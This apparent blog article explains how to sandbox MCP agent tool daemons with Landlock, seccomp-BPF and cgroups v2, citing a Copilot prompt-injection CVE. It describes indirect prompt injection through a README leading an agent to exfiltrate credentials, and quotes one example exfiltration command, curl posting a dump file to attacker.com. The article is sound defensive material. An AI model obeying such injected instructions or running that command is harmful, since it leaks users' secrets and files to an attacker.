Bali, Indonesia
Insights

Hardening Agent Tool Execution: Sandboxing MCP Daemons via Landlock, Seccomp, and Cgroups v2

Invalid Date
0:00
When GitHub Copilot suffered from CVE-2025-53773—a CVSS 9.6 remote code execution flaw triggered through indirect prompt injection—the vulnerability exposed a systemic flaw in agentic architectures: developers routinely hand unconstrained shell access to non-deterministic systems. As documented in the comprehensive study on prompt injection attacks published in Information (MDPI, 2026), the proliferation of the Model Context Protocol (MCP) has converted passive text completion engines into active, tool-invoking daemons. Modern agent frameworks ingest external context—untrusted pull requests, scraped web snippets, or vector database chunks—and convert those natural language payloads into executable tool invocations. If an attacker embeds adversarial steering instructions into a public README, the model processes that data as an imperative command, invoking an MCP tool with malicious arguments. Without kernel-level isolation, an MCP daemon operating with developer-level user permissions will dutifully exfiltrate environment variables, rewrite source files, or reach out to remote command-and-control servers.
Most teams attempt to mitigate prompt injection at the semantic layer using regex filters, system prompt guardrails, or intermediate evaluation LLMs. These mitigations consistently fail because natural language has no distinct instruction-data separation. When an MCP daemon receives a JSON-RPC payload telling it to run a filesystem diff, inspect git logs, or run a test suite, the underlying host treats that process as an ordinary user command. If the daemon runs under a standard developer shell, it inherits inherited read permissions on sensitive paths like ~/.ssh, access to active cloud sessions under ~/.aws/credentials, and full network access across the loopback and local subnets. When an indirect prompt injection succeeds, the blast radius is identical to an attacker obtaining an interactive shell as that engineer. Relying on the LLM to 'refuse dangerous actions' violates the core tenets of defensive systems design; security boundaries must reside in the operating system kernel, completely decoupled from agent cognition.
Traditional Unix discretionary access controls (chmod, chown) cannot prevent a compromised MCP process from reading credentials owned by the same user ID. Enter Landlock, a Linux Security Module (LSM) available since kernel 5.13 that allows unprivileged processes to restrict their own filesystem hierarchy without requiring root or complex AppArmor profiles. Before accepting remote procedure calls over standard input, an MCP daemon should voluntarily bind itself to a strict directory sandbox. If a tool only needs to inspect files within a specific repository workspace, Landlock can revoke read and write permissions for the rest of the root filesystem, rendering attacks targeting dotfiles or host secrets dead on arrival.
C
struct landlock_ruleset_attr ruleset = {
    .handled_access_fs = LANDLOCK_ACCESS_FS_EXECUTE | LANDLOCK_ACCESS_FS_READ_FILE |
                         LANDLOCK_ACCESS_FS_WRITE_FILE | LANDLOCK_ACCESS_FS_MAKE_REG
};
int ruleset_fd = syscall(__NR_landlock_create_ruleset, &ruleset, sizeof(ruleset), 0);
// Allow access only to the targeted repository path
struct landlock_path_beneath_attr path = { .parent_fd = repo_fd, .allowed_access = ruleset.handled_access_fs };
syscall(__NR_landlock_add_rule, ruleset_fd, LANDLOCK_RULE_TYPE_PATH_BENEATH, &path, 0);
syscall(__NR_landlock_restrict_self, ruleset_fd, 0);
Once landlock_restrict_self executes, any subsequent openat() call referencing /home/user/.ssh/id_ed25519 returns EACCES directly from the kernel VFS layer, even if file permissions on disk would normally allow read access. Because Landlock rulesets cannot be widened once locked, the sandbox persists across all child subprocesses spawned by the MCP server.
Limiting filesystem paths addresses data exfiltration via file reading, but an attacker can still abuse legitimate tools to establish reverse TCP tunnels, attach debuggers to adjacent processes, or trigger kernel exploits via obscure ioctl calls. To prevent lateral network traversal, the agent runtime must drop the ability to allocate network sockets or manipulate system state. Seccomp-BPF operates as an in-kernel packet filter for system calls, evaluating arguments at the entry point of every transition from user space to kernel space. For an MCP tool whose sole duty is static text analysis, parsing JSON, or running linters, the seccomp policy should categorically deny syscalls such as socket(), connect(), bind(), ptrace(), and clone3() with unshare flags. By passing a compact Berkeley Packet Filter program via prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...), we guarantee that if an injected prompt tricks the agent into executing a payload like curl -d @/tmp/dump attacker.com, the invocation immediately dies with SIGSYS. When combined with Landlock, seccomp eliminates outbound exfiltration channels without breaking the core stdout-based streaming protocols that MCP daemons rely on for host communication.
Adversarial injections often manifest as denial-of-service vectors—fork bombs, runaway regex queries, or deliberate memory exhaustion designed to trigger the Linux Out-Of-Memory (OOM) killer on critical background services. Standard process management cannot stop an MCP tool from saturating host CPU cores or allocating hundreds of gigabytes of virtual memory. Sandboxing daemons requires isolating them inside dedicated cgroups v2 slices with strict ceiling limits applied to process counts and resident set sizes.
INI
# /etc/systemd/system/[email protected]/resource-limits.conf
[Service]
CPUWeight=100
CPUQuota=150%
MemoryHigh=512M
MemoryMax=1G
TasksMax=64
MemoryAccounting=yes
Setting TasksMax=64 directly limits pids.max in the cgroup hierarchy, ensuring that recursive shell invocations fail immediately once the threshold is crossed. Simultaneously, MemoryHigh invokes proactive kernel page reclamation and throttle mechanics before the process breaches MemoryMax, preventing abrupt system crashes while isolating the blast radius of runaway subcommands. Running MCP servers under transient systemd scopes or dedicated unprivileged container runtimes guarantees that anomalous agent activity never compromises the developer machine or co-located multi-tenant inference nodes.
The architectural lesson from CVE-2025-53773 is unambiguous: treating an AI agent as a privileged human user is an anti-pattern that invites severe supply chain and execution compromises. By decoupling tool trust from execution reality, systems engineers can safely deploy autonomous agents in production environments. Layering Landlock for filesystem sandboxing, Seccomp-BPF for syscall restriction, and cgroups v2 for resource governance transforms MCP daemons from hazardous local backdoors into strictly confined, ephemeral execution engines.